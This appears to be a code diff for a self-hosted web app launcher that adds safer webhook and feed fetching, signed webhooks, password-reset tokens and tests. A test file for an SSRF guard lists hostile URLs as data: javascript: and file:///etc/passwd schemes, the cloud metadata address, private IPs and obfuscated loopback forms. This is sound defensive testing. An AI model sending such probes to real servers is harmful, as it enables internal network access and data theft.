lines.push(`# HELP wal_db_up 1 if the metrics endpoint could read from the DB`);
|
||||
lines.push(`# TYPE wal_db_up gauge`);
|
||||
lines.push(`wal_db_up 1`);
|
||||
lines.push('');
|
||||
return lines.join('\n');
|
||||
}
|
||||
@@ -1,5 +1,19 @@
|
||||
import { createHmac } from 'crypto';
|
||||
import { prisma } from '../prisma.js';
|
||||
import { NotificationType } from '$lib/utils/constants.js';
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
import { metricRegistry, Counters } from './metricsService.js';
|
||||
|
||||
const NOTIFICATION_TIMEOUT_MS = 10_000;
|
||||
|
||||
/**
|
||||
* HMAC-SHA256 signature, GitHub-style: `sha256=<hex>`. Receivers verify by
|
||||
* computing the same HMAC over the raw request body using their shared secret
|
||||
* and constant-time-comparing it to the header value.
|
||||
*/
|
||||
function hmacSignature(secret: string, body: string): string {
|
||||
return 'sha256=' + createHmac('sha256', secret).update(body).digest('hex');
|
||||
}
|
||||
|
||||
// --- Channel Management ---
|
||||
|
||||
@@ -61,28 +75,12 @@ export async function getChannelById(id: string, userId: string) {
|
||||
|
||||
// --- Notification Dispatchers ---
|
||||
|
||||
interface DiscordConfig {
|
||||
readonly webhookUrl: string;
|
||||
}
|
||||
|
||||
interface SlackConfig {
|
||||
readonly webhookUrl: string;
|
||||
}
|
||||
|
||||
interface TelegramConfig {
|
||||
readonly botToken: string;
|
||||
readonly chatId: string;
|
||||
}
|
||||
|
||||
interface HttpConfig {
|
||||
readonly url: string;
|
||||
readonly headers?: Record<string, string>;
|
||||
}
|
||||
|
||||
async function sendDiscord(webhookUrl: string, message: string): Promise<void> {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_SENT);
|
||||
try {
|
||||
await fetch(webhookUrl, {
|
||||
await safeFetch(webhookUrl, {
|
||||
method: 'POST',
|
||||
timeoutMs: NOTIFICATION_TIMEOUT_MS,
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
embeds: [
|
||||
@@ -95,37 +93,41 @@ async function sendDiscord(webhookUrl: string, message: string): Promise<void> {
|
||||
]
|
||||
})
|
||||
});
|
||||
} catch {
|
||||
// Fire-and-forget: swallow errors
|
||||
} catch (err) {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_FAILED);
|
||||
console.warn('[notification] discord dispatch failed:', err);
|
||||
}
|
||||
}
|
||||
|
||||
async function sendSlack(webhookUrl: string, message: string): Promise<void> {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_SENT);
|
||||
try {
|
||||
await fetch(webhookUrl, {
|
||||
await safeFetch(webhookUrl, {
|
||||
method: 'POST',
|
||||
timeoutMs: NOTIFICATION_TIMEOUT_MS,
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
blocks: [
|
||||
{
|
||||
type: 'section',
|
||||
text: {
|
||||
type: 'mrkdwn',
|
||||
text: `*Web App Launcher*\n${message}`
|
||||
}
|
||||
text: { type: 'mrkdwn', text: `*Web App Launcher*\n${message}` }
|
||||
}
|
||||
]
|
||||
})
|
||||
});
|
||||
} catch {
|
||||
// Fire-and-forget: swallow errors
|
||||
} catch (err) {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_FAILED);
|
||||
console.warn('[notification] slack dispatch failed:', err);
|
||||
}
|
||||
}
|
||||
|
||||
async function sendTelegram(botToken: string, chatId: string, message: string): Promise<void> {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_SENT);
|
||||
try {
|
||||
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
|
||||
await safeFetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
|
||||
method: 'POST',
|
||||
trusted: true,
|
||||
timeoutMs: NOTIFICATION_TIMEOUT_MS,
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
chat_id: chatId,
|
||||
@@ -133,28 +135,73 @@ async function sendTelegram(botToken: string, chatId: string, message: string):
|
||||
parse_mode: 'HTML'
|
||||
})
|
||||
});
|
||||
} catch {
|
||||
// Fire-and-forget: swallow errors
|
||||
} catch (err) {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_FAILED);
|
||||
console.warn('[notification] telegram dispatch failed:', err);
|
||||
}
|
||||
}
|
||||
|
||||
async function sendHttp(
|
||||
url: string,
|
||||
payload: unknown,
|
||||
headers?: Record<string, string>
|
||||
): Promise<void> {
|
||||
try {
|
||||
await fetch(url, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
...(headers ?? {})
|
||||
},
|
||||
body: JSON.stringify(payload)
|
||||
});
|
||||
} catch {
|
||||
// Fire-and-forget: swallow errors
|
||||
options?: {
|
||||
readonly headers?: Record<string, string>;
|
||||
readonly secret?: string;
|
||||
readonly signatureHeader?: string;
|
||||
}
|
||||
): Promise<void> {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_SENT);
|
||||
|
||||
const body = JSON.stringify(payload);
|
||||
const finalHeaders: Record<string, string> = {
|
||||
'Content-Type': 'application/json',
|
||||
'User-Agent': 'WebAppLauncher-Webhook/1.0',
|
||||
...(options?.headers ?? {})
|
||||
};
|
||||
|
||||
if (options?.secret) {
|
||||
// Allow the receiver to opt into a non-standard header name (e.g.
|
||||
// `X-Hub-Signature-256` for GitHub-compatible receivers). Default is the
|
||||
// generic `X-Signature-256` so most receivers parse it the same way.
|
||||
const headerName = options.signatureHeader ?? 'X-Signature-256';
|
||||
finalHeaders[headerName] = hmacSignature(options.secret, body);
|
||||
// Add a timestamp so receivers can reject replays.
|
||||
const ts = String(Math.floor(Date.now() / 1000));
|
||||
finalHeaders['X-Webhook-Timestamp'] = ts;
|
||||
}
|
||||
|
||||
try {
|
||||
await safeFetch(url, {
|
||||
method: 'POST',
|
||||
timeoutMs: NOTIFICATION_TIMEOUT_MS,
|
||||
headers: finalHeaders,
|
||||
body
|
||||
});
|
||||
} catch (err) {
|
||||
metricRegistry.incCounter(Counters.NOTIFICATION_FAILED);
|
||||
console.warn('[notification] http dispatch failed:', err);
|
||||
}
|
||||
}
|
||||
|
||||
function isObject(v: unknown): v is Record<string, unknown> {
|
||||
return typeof v === 'object' && v !== null && !Array.isArray(v);
|
||||
}
|
||||
|
||||
function pickString(v: unknown, key: string): string | undefined {
|
||||
if (!isObject(v)) return undefined;
|
||||
const x = v[key];
|
||||
return typeof x === 'string' && x.length > 0 ? x : undefined;
|
||||
}
|
||||
|
||||
function pickHeaders(v: unknown): Record<string, string> | undefined {
|
||||
if (!isObject(v)) return undefined;
|
||||
const h = v.headers;
|
||||
if (!isObject(h)) return undefined;
|
||||
const out: Record<string, string> = {};
|
||||
for (const [k, val] of Object.entries(h)) {
|
||||
if (typeof val === 'string') out[k] = val;
|
||||
}
|
||||
return Object.keys(out).length ? out : undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -168,35 +215,38 @@ async function dispatchToChannel(
|
||||
try {
|
||||
config = JSON.parse(channel.config);
|
||||
} catch {
|
||||
return; // Invalid config — skip
|
||||
return;
|
||||
}
|
||||
|
||||
switch (channel.type) {
|
||||
case NotificationType.DISCORD: {
|
||||
const dc = config as DiscordConfig;
|
||||
if (dc.webhookUrl) {
|
||||
await sendDiscord(dc.webhookUrl, message);
|
||||
}
|
||||
const webhookUrl = pickString(config, 'webhookUrl');
|
||||
if (webhookUrl) await sendDiscord(webhookUrl, message);
|
||||
break;
|
||||
}
|
||||
case NotificationType.SLACK: {
|
||||
const sc = config as SlackConfig;
|
||||
if (sc.webhookUrl) {
|
||||
await sendSlack(sc.webhookUrl, message);
|
||||
}
|
||||
const webhookUrl = pickString(config, 'webhookUrl');
|
||||
if (webhookUrl) await sendSlack(webhookUrl, message);
|
||||
break;
|
||||
}
|
||||
case NotificationType.TELEGRAM: {
|
||||
const tc = config as TelegramConfig;
|
||||
if (tc.botToken && tc.chatId) {
|
||||
await sendTelegram(tc.botToken, tc.chatId, message);
|
||||
}
|
||||
const botToken = pickString(config, 'botToken');
|
||||
const chatId = pickString(config, 'chatId');
|
||||
if (botToken && chatId) await sendTelegram(botToken, chatId, message);
|
||||
break;
|
||||
}
|
||||
case NotificationType.HTTP: {
|
||||
const hc = config as HttpConfig;
|
||||
if (hc.url) {
|
||||
await sendHttp(hc.url, { message, timestamp: new Date().toISOString() }, hc.headers);
|
||||
const url = pickString(config, 'url');
|
||||
if (url) {
|
||||
await sendHttp(
|
||||
url,
|
||||
{ message, timestamp: new Date().toISOString() },
|
||||
{
|
||||
headers: pickHeaders(config),
|
||||
secret: pickString(config, 'secret'),
|
||||
signatureHeader: pickString(config, 'signatureHeader')
|
||||
}
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -230,9 +280,15 @@ export async function sendNotification(
|
||||
where: { userId, enabled: true }
|
||||
});
|
||||
|
||||
// Fire-and-forget: dispatch to all channels in parallel
|
||||
Promise.allSettled(channels.map((ch) => dispatchToChannel(ch, message))).catch(() => {
|
||||
// Swallow any unexpected errors
|
||||
// Fire-and-forget: dispatch to all channels in parallel. allSettled never
|
||||
// rejects but we still log per-channel rejections so they don't vanish.
|
||||
Promise.allSettled(channels.map((ch) => dispatchToChannel(ch, message))).then((results) => {
|
||||
for (const r of results) {
|
||||
if (r.status === 'rejected') {
|
||||
|
||||
console.warn('[notification] dispatch rejected:', r.reason);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return notification;
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
import { createHash, randomBytes, timingSafeEqual } from 'crypto';
|
||||
import { prisma } from '../prisma.js';
|
||||
import * as authService from './authService.js';
|
||||
import { invalidateUserCache } from '../utils/userLocals.js';
|
||||
|
||||
const RESET_TOKEN_TTL_HOURS = 24;
|
||||
|
||||
function generateRawToken(): string {
|
||||
return `pwr_${randomBytes(32).toString('hex')}`;
|
||||
}
|
||||
|
||||
function sha256Hex(value: string): string {
|
||||
return createHash('sha256').update(value).digest('hex');
|
||||
}
|
||||
|
||||
function constantTimeEqual(a: string, b: string): boolean {
|
||||
if (a.length !== b.length) return false;
|
||||
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
|
||||
}
|
||||
|
||||
export interface IssuedReset {
|
||||
readonly id: string;
|
||||
readonly userId: string;
|
||||
readonly token: string; // raw — shown once
|
||||
readonly expiresAt: Date;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a password-reset token for the given email.
|
||||
*
|
||||
* Returns null if no local-password user exists for the email. The caller
|
||||
* MUST surface the same response shape regardless of return value, to avoid
|
||||
* leaking account existence (account enumeration mitigation).
|
||||
*
|
||||
* Existing unused reset tokens for the same user are invalidated.
|
||||
*/
|
||||
export async function requestReset(
|
||||
email: string,
|
||||
createdById?: string
|
||||
): Promise<IssuedReset | null> {
|
||||
const user = await prisma.user.findUnique({
|
||||
where: { email: email.toLowerCase() },
|
||||
select: { id: true, password: true, authProvider: true }
|
||||
});
|
||||
if (!user || !user.password) return null;
|
||||
|
||||
// Invalidate prior unused tokens for this user so only the latest works.
|
||||
await prisma.passwordReset.deleteMany({
|
||||
where: { userId: user.id, usedAt: null }
|
||||
});
|
||||
|
||||
const token = generateRawToken();
|
||||
const tokenHash = sha256Hex(token);
|
||||
const expiresAt = new Date(Date.now() + RESET_TOKEN_TTL_HOURS * 60 * 60 * 1000);
|
||||
|
||||
const row = await prisma.passwordReset.create({
|
||||
data: {
|
||||
userId: user.id,
|
||||
tokenHash,
|
||||
expiresAt,
|
||||
createdById: createdById ?? null
|
||||
}
|
||||
});
|
||||
|
||||
return { id: row.id, userId: user.id, token, expiresAt };
|
||||
}
|
||||
|
||||
/**
|
||||
* Find an unused, unexpired reset token by its raw value.
|
||||
*/
|
||||
export async function findResetByToken(token: string) {
|
||||
if (typeof token !== 'string' || token.length === 0) return null;
|
||||
const tokenHash = sha256Hex(token);
|
||||
const row = await prisma.passwordReset.findUnique({
|
||||
where: { tokenHash },
|
||||
include: { user: { select: { id: true, email: true, displayName: true } } }
|
||||
});
|
||||
if (!row) return null;
|
||||
if (!constantTimeEqual(row.tokenHash, tokenHash)) return null;
|
||||
if (row.usedAt) return null;
|
||||
if (row.expiresAt <= new Date()) return null;
|
||||
return row;
|
||||
}
|
||||
|
||||
/**
|
||||
* Consume a reset token: hash and apply the new password, mark the token used,
|
||||
* revoke all existing sessions for the user (they should re-login with the new
|
||||
* password from every device).
|
||||
*/
|
||||
export async function applyReset(token: string, newPassword: string): Promise<void> {
|
||||
const row = await findResetByToken(token);
|
||||
if (!row) {
|
||||
throw new Error('Reset link is invalid, expired, or has already been used.');
|
||||
}
|
||||
const newHash = await authService.hashPassword(newPassword);
|
||||
|
||||
await prisma.$transaction([
|
||||
prisma.user.update({ where: { id: row.userId }, data: { password: newHash } }),
|
||||
prisma.passwordReset.update({
|
||||
where: { id: row.id },
|
||||
data: { usedAt: new Date() }
|
||||
}),
|
||||
// Revoke all sessions for this user — forces every other device to re-login.
|
||||
prisma.session.deleteMany({ where: { userId: row.userId } })
|
||||
]);
|
||||
|
||||
invalidateUserCache(row.userId);
|
||||
}
|
||||
|
||||
/**
|
||||
* List pending (unused, unexpired) password resets — used by the admin UI to
|
||||
* share the reset link with the user (since we don't ship SMTP).
|
||||
*/
|
||||
export async function listPendingResets() {
|
||||
return prisma.passwordReset.findMany({
|
||||
where: {
|
||||
usedAt: null,
|
||||
expiresAt: { gt: new Date() }
|
||||
},
|
||||
orderBy: { createdAt: 'desc' },
|
||||
include: {
|
||||
user: { select: { id: true, email: true, displayName: true } }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Revoke a pending reset (admin action).
|
||||
*/
|
||||
export async function revokeReset(id: string): Promise<void> {
|
||||
await prisma.passwordReset.deleteMany({ where: { id } });
|
||||
}
|
||||
|
||||
/**
|
||||
* Periodic cleanup of expired and used tokens.
|
||||
*/
|
||||
export async function pruneExpiredResets(): Promise<number> {
|
||||
const cutoff = new Date(Date.now() - 7 * 24 * 60 * 60 * 1000);
|
||||
const result = await prisma.passwordReset.deleteMany({
|
||||
where: {
|
||||
OR: [{ expiresAt: { lt: new Date() } }, { usedAt: { lt: cutoff } }]
|
||||
}
|
||||
});
|
||||
return result.count;
|
||||
}
|
||||
@@ -4,11 +4,12 @@ import {
|
||||
PermissionLevel,
|
||||
PERMISSION_HIERARCHY,
|
||||
TargetType,
|
||||
type EntityType,
|
||||
type TargetType as TargetTypeType
|
||||
type EntityType
|
||||
} from '$lib/utils/constants.js';
|
||||
import type { CreatePermissionInput, PermissionCheckResult } from '$lib/types/permission.js';
|
||||
|
||||
type TargetTypeValue = (typeof TargetType)[keyof typeof TargetType];
|
||||
|
||||
export async function checkPermission(
|
||||
entityType: EntityType,
|
||||
entityId: string,
|
||||
@@ -116,7 +117,7 @@ export async function grantPermission(input: CreatePermissionInput) {
|
||||
export async function revokePermission(
|
||||
entityType: EntityType,
|
||||
entityId: string,
|
||||
targetType: TargetTypeType,
|
||||
targetType: TargetTypeValue,
|
||||
targetId: string
|
||||
) {
|
||||
await prisma.permission.deleteMany({
|
||||
@@ -136,7 +137,7 @@ export async function getPermissionsForEntity(entityType: EntityType, entityId:
|
||||
});
|
||||
}
|
||||
|
||||
export async function getPermissionsForTarget(targetType: TargetTypeType, targetId: string) {
|
||||
export async function getPermissionsForTarget(targetType: TargetTypeValue, targetId: string) {
|
||||
return prisma.permission.findMany({
|
||||
where: { targetType, targetId },
|
||||
orderBy: { createdAt: 'asc' }
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
* RSS/Atom feed service — fetches and parses RSS/Atom feeds.
|
||||
* Uses lightweight XML parsing without heavy dependencies.
|
||||
*/
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const CACHE_TTL_MS = 15 * 60 * 1000; // 15 minutes
|
||||
const FETCH_TIMEOUT_MS = 10_000;
|
||||
@@ -137,12 +138,9 @@ export async function fetchFeed(feedUrl: string, maxItems?: number): Promise<rea
|
||||
const cached = getCached(cacheKey);
|
||||
if (cached) return cached;
|
||||
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
const response = await fetch(feedUrl, {
|
||||
signal: controller.signal,
|
||||
const response = await safeFetch(feedUrl, {
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
headers: {
|
||||
'User-Agent': 'WebAppLauncher/1.0',
|
||||
Accept: 'application/rss+xml, application/atom+xml, application/xml, text/xml'
|
||||
@@ -176,8 +174,6 @@ export async function fetchFeed(feedUrl: string, maxItems?: number): Promise<rea
|
||||
throw new Error('Feed request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
* System stats service — fetches metrics from various sources using an adapter pattern.
|
||||
* Supports Glances, Prometheus, and custom JSON endpoints.
|
||||
*/
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const DEFAULT_CACHE_TTL_MS = 30_000; // 30 seconds
|
||||
const FETCH_TIMEOUT_MS = 10_000;
|
||||
@@ -37,12 +38,9 @@ function setCache(key: string, data: readonly SystemMetric[], ttlMs: number): vo
|
||||
}
|
||||
|
||||
async function fetchWithTimeout(url: string): Promise<unknown> {
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
const response = await fetch(url, {
|
||||
signal: controller.signal,
|
||||
const response = await safeFetch(url, {
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
headers: { 'User-Agent': 'WebAppLauncher/1.0' }
|
||||
});
|
||||
|
||||
@@ -56,8 +54,6 @@ async function fetchWithTimeout(url: string): Promise<unknown> {
|
||||
throw new Error('System stats request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -93,25 +93,96 @@ export async function getUptimeTimeline(appId: string, timeRange: TimeRange = '2
|
||||
|
||||
/**
|
||||
* Get aggregated uptime for all apps with healthcheck enabled.
|
||||
*
|
||||
* Single-query implementation: fetches all status rows in the range with one
|
||||
* IN-clause query, then aggregates per-app in JS. Replaces the previous
|
||||
* Promise.all(apps.map(getUptimeStats)) which fired O(N) DB queries.
|
||||
*/
|
||||
export async function getAllAppsUptime(timeRange: TimeRange = '24h') {
|
||||
const cutoff = getTimeRangeCutoff(timeRange);
|
||||
|
||||
const apps = await prisma.app.findMany({
|
||||
where: { healthcheckEnabled: true },
|
||||
select: { id: true, name: true, url: true }
|
||||
});
|
||||
|
||||
const results = await Promise.all(
|
||||
apps.map(async (app) => {
|
||||
const stats = await getUptimeStats(app.id, timeRange);
|
||||
return {
|
||||
...stats,
|
||||
appName: app.name,
|
||||
appUrl: app.url
|
||||
};
|
||||
})
|
||||
);
|
||||
if (apps.length === 0) return [];
|
||||
|
||||
return results;
|
||||
const appIds = apps.map((a) => a.id);
|
||||
const statuses = await prisma.appStatus.findMany({
|
||||
where: {
|
||||
appId: { in: appIds },
|
||||
checkedAt: { gte: cutoff }
|
||||
},
|
||||
orderBy: { checkedAt: 'asc' },
|
||||
select: { appId: true, status: true, responseTime: true, checkedAt: true }
|
||||
});
|
||||
|
||||
// Pre-bucket by appId.
|
||||
const buckets = new Map<
|
||||
string,
|
||||
{ status: string; responseTime: number | null; checkedAt: Date }[]
|
||||
>();
|
||||
for (const s of statuses) {
|
||||
const arr = buckets.get(s.appId);
|
||||
if (arr) arr.push(s);
|
||||
else buckets.set(s.appId, [s]);
|
||||
}
|
||||
|
||||
return apps.map((app) => {
|
||||
const bucket = buckets.get(app.id) ?? [];
|
||||
|
||||
if (bucket.length === 0) {
|
||||
return {
|
||||
appId: app.id,
|
||||
appName: app.name,
|
||||
appUrl: app.url,
|
||||
timeRange,
|
||||
currentStatus: null as string | null,
|
||||
uptimePercentage: null,
|
||||
avgResponseTime: null,
|
||||
totalChecks: 0,
|
||||
onlineChecks: 0,
|
||||
offlineChecks: 0,
|
||||
degradedChecks: 0
|
||||
};
|
||||
}
|
||||
|
||||
let onlineChecks = 0;
|
||||
let offlineChecks = 0;
|
||||
let degradedChecks = 0;
|
||||
let rtSum = 0;
|
||||
let rtCount = 0;
|
||||
|
||||
for (const s of bucket) {
|
||||
if (s.status === AppStatusValue.ONLINE) onlineChecks++;
|
||||
else if (s.status === AppStatusValue.OFFLINE) offlineChecks++;
|
||||
else if (s.status === AppStatusValue.DEGRADED) degradedChecks++;
|
||||
if (s.responseTime !== null) {
|
||||
rtSum += s.responseTime;
|
||||
rtCount++;
|
||||
}
|
||||
}
|
||||
|
||||
const relevant = onlineChecks + offlineChecks + degradedChecks;
|
||||
const uptimePercentage =
|
||||
relevant > 0 ? Math.round((onlineChecks / relevant) * 10000) / 100 : null;
|
||||
const avgResponseTime = rtCount > 0 ? Math.round(rtSum / rtCount) : null;
|
||||
|
||||
return {
|
||||
appId: app.id,
|
||||
appName: app.name,
|
||||
appUrl: app.url,
|
||||
timeRange,
|
||||
currentStatus: bucket[bucket.length - 1].status,
|
||||
uptimePercentage,
|
||||
avgResponseTime,
|
||||
totalChecks: bucket.length,
|
||||
onlineChecks,
|
||||
offlineChecks,
|
||||
degradedChecks
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { prisma } from '../prisma.js';
|
||||
import { hashPassword } from './authService.js';
|
||||
import { invalidateUserCache } from '../utils/userLocals.js';
|
||||
import type { CreateUserInput, UpdateUserInput } from '$lib/types/user.js';
|
||||
|
||||
const USER_SELECT = {
|
||||
@@ -65,9 +66,8 @@ export async function create(input: CreateUserInput) {
|
||||
}
|
||||
|
||||
export async function update(id: string, input: UpdateUserInput) {
|
||||
await findById(id); // Ensure user exists
|
||||
|
||||
return prisma.user.update({
|
||||
await findById(id);
|
||||
const result = await prisma.user.update({
|
||||
where: { id },
|
||||
data: {
|
||||
...(input.displayName !== undefined ? { displayName: input.displayName } : {}),
|
||||
@@ -76,19 +76,24 @@ export async function update(id: string, input: UpdateUserInput) {
|
||||
},
|
||||
select: USER_SELECT
|
||||
});
|
||||
invalidateUserCache(id);
|
||||
return result;
|
||||
}
|
||||
|
||||
export async function remove(id: string) {
|
||||
await findById(id); // Ensure user exists
|
||||
await findById(id);
|
||||
await prisma.user.delete({ where: { id } });
|
||||
invalidateUserCache(id);
|
||||
}
|
||||
|
||||
export async function updateRole(id: string, role: string) {
|
||||
return prisma.user.update({
|
||||
const result = await prisma.user.update({
|
||||
where: { id },
|
||||
data: { role },
|
||||
select: USER_SELECT
|
||||
});
|
||||
invalidateUserCache(id);
|
||||
return result;
|
||||
}
|
||||
|
||||
export async function getUserGroups(userId: string) {
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
* Weather service — fetches current weather from OpenMeteo API.
|
||||
* No API key required.
|
||||
*/
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const OPEN_METEO_BASE = 'https://api.open-meteo.com/v1/forecast';
|
||||
const CACHE_TTL_MS = 30 * 60 * 1000; // 30 minutes
|
||||
@@ -54,12 +55,13 @@ export async function fetchWeather(latitude: number, longitude: number): Promise
|
||||
|
||||
const url = `${OPEN_METEO_BASE}?latitude=${latitude}&longitude=${longitude}¤t_weather=true`;
|
||||
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
const response = await fetch(url, {
|
||||
signal: controller.signal,
|
||||
// trusted: OpenMeteo is a fixed, well-known public host; skip the
|
||||
// private-net guard so it still works on locked-down deployments where
|
||||
// ALLOW_PRIVATE_NETWORK_FETCH=false and DNS resolves to an unexpected range.
|
||||
const response = await safeFetch(url, {
|
||||
trusted: true,
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
headers: { 'User-Agent': 'WebAppLauncher/1.0' }
|
||||
});
|
||||
|
||||
@@ -67,7 +69,7 @@ export async function fetchWeather(latitude: number, longitude: number): Promise
|
||||
throw new Error(`OpenMeteo API returned ${response.status}`);
|
||||
}
|
||||
|
||||
const json = await response.json();
|
||||
const json = (await response.json()) as { current_weather?: Record<string, unknown> };
|
||||
const current = json?.current_weather;
|
||||
|
||||
if (!current || typeof current.temperature !== 'number') {
|
||||
@@ -75,11 +77,11 @@ export async function fetchWeather(latitude: number, longitude: number): Promise
|
||||
}
|
||||
|
||||
const data: WeatherData = {
|
||||
temperature: current.temperature,
|
||||
windSpeed: current.windspeed ?? 0,
|
||||
weatherCode: current.weathercode ?? 0,
|
||||
temperature: current.temperature as number,
|
||||
windSpeed: (current.windspeed as number) ?? 0,
|
||||
weatherCode: (current.weathercode as number) ?? 0,
|
||||
isDay: current.is_day === 1,
|
||||
time: current.time ?? new Date().toISOString()
|
||||
time: (current.time as string) ?? new Date().toISOString()
|
||||
};
|
||||
|
||||
setCache(cacheKey, data);
|
||||
@@ -89,8 +91,6 @@ export async function fetchWeather(latitude: number, longitude: number): Promise
|
||||
throw new Error('Weather API request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { enforceRateLimit, loginRateLimiter } from '../rateLimit.js';
|
||||
import { RateLimitError } from '../../errors.js';
|
||||
|
||||
describe('enforceRateLimit', () => {
|
||||
it('allows up to the bucket limit', () => {
|
||||
const key = `test-${Math.random()}`;
|
||||
// loginRateLimiter is 10/min — push 10 through, all should pass.
|
||||
for (let i = 0; i < 10; i++) {
|
||||
expect(() => enforceRateLimit(loginRateLimiter, key)).not.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it('throws RateLimitError on the 11th attempt within the window', () => {
|
||||
const key = `test-overflow-${Math.random()}`;
|
||||
for (let i = 0; i < 10; i++) enforceRateLimit(loginRateLimiter, key);
|
||||
expect(() => enforceRateLimit(loginRateLimiter, key)).toThrow(RateLimitError);
|
||||
});
|
||||
|
||||
it('isolates buckets per key', () => {
|
||||
const a = `key-a-${Math.random()}`;
|
||||
const b = `key-b-${Math.random()}`;
|
||||
for (let i = 0; i < 10; i++) enforceRateLimit(loginRateLimiter, a);
|
||||
// Different key should still have full quota.
|
||||
expect(() => enforceRateLimit(loginRateLimiter, b)).not.toThrow();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,100 @@
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { assertSafeUrl } from '../safeFetch.js';
|
||||
|
||||
const originalEnv = { ...process.env };
|
||||
|
||||
describe('assertSafeUrl', () => {
|
||||
beforeEach(() => {
|
||||
// Force production-style guard for these tests (deny private nets).
|
||||
process.env.ALLOW_PRIVATE_NETWORK_FETCH = 'false';
|
||||
process.env.NODE_ENV = 'production';
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
process.env = { ...originalEnv };
|
||||
});
|
||||
|
||||
describe('scheme', () => {
|
||||
it('rejects javascript: URLs', async () => {
|
||||
await expect(assertSafeUrl('javascript:alert(1)')).rejects.toThrow(/Only http/);
|
||||
});
|
||||
|
||||
it('rejects data: URLs', async () => {
|
||||
await expect(assertSafeUrl('data:text/html,<script>1</script>')).rejects.toThrow(
|
||||
/Only http/
|
||||
);
|
||||
});
|
||||
|
||||
it('rejects file: URLs', async () => {
|
||||
await expect(assertSafeUrl('file:///etc/passwd')).rejects.toThrow(/Only http/);
|
||||
});
|
||||
|
||||
it('rejects gopher: URLs', async () => {
|
||||
await expect(assertSafeUrl('gopher://example.com')).rejects.toThrow(/Only http/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('private IPv4 literals', () => {
|
||||
it.each([
|
||||
['127.0.0.1'],
|
||||
['127.255.255.254'],
|
||||
['10.0.0.1'],
|
||||
['10.255.255.254'],
|
||||
['172.16.0.1'],
|
||||
['172.31.255.254'],
|
||||
['192.168.0.1'],
|
||||
['192.168.255.254'],
|
||||
['169.254.169.254'], // AWS metadata
|
||||
['0.0.0.0'],
|
||||
['100.64.0.1'] // CGNAT
|
||||
])('rejects %s', async (ip) => {
|
||||
await expect(assertSafeUrl(`http://${ip}/`)).rejects.toThrow(/private/);
|
||||
});
|
||||
|
||||
it.each([['8.8.8.8'], ['1.1.1.1']])('accepts public IPv4 %s', async (ip) => {
|
||||
// May still throw if DNS doesn't return the literal — but for literals
|
||||
// we shortcut. These are public; should pass the syntactic check.
|
||||
await expect(assertSafeUrl(`http://${ip}/`)).resolves.toBeDefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('private IPv6 literals', () => {
|
||||
it.each([
|
||||
['::1'],
|
||||
['::ffff:127.0.0.1'], // mapped IPv4 loopback
|
||||
['fe80::1'], // link-local
|
||||
['fc00::1'], // unique local
|
||||
['fd00::1']
|
||||
])('rejects %s', async (ip) => {
|
||||
await expect(assertSafeUrl(`http://[${ip}]/`)).rejects.toThrow(/private/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('obfuscation', () => {
|
||||
it('rejects decimal IP form for loopback (http://2130706433)', async () => {
|
||||
await expect(assertSafeUrl('http://2130706433/')).rejects.toThrow(/private/);
|
||||
});
|
||||
|
||||
it('rejects 0 (resolves to 127.0.0.1 on Linux)', async () => {
|
||||
await expect(assertSafeUrl('http://0/')).rejects.toThrow(/private/);
|
||||
});
|
||||
|
||||
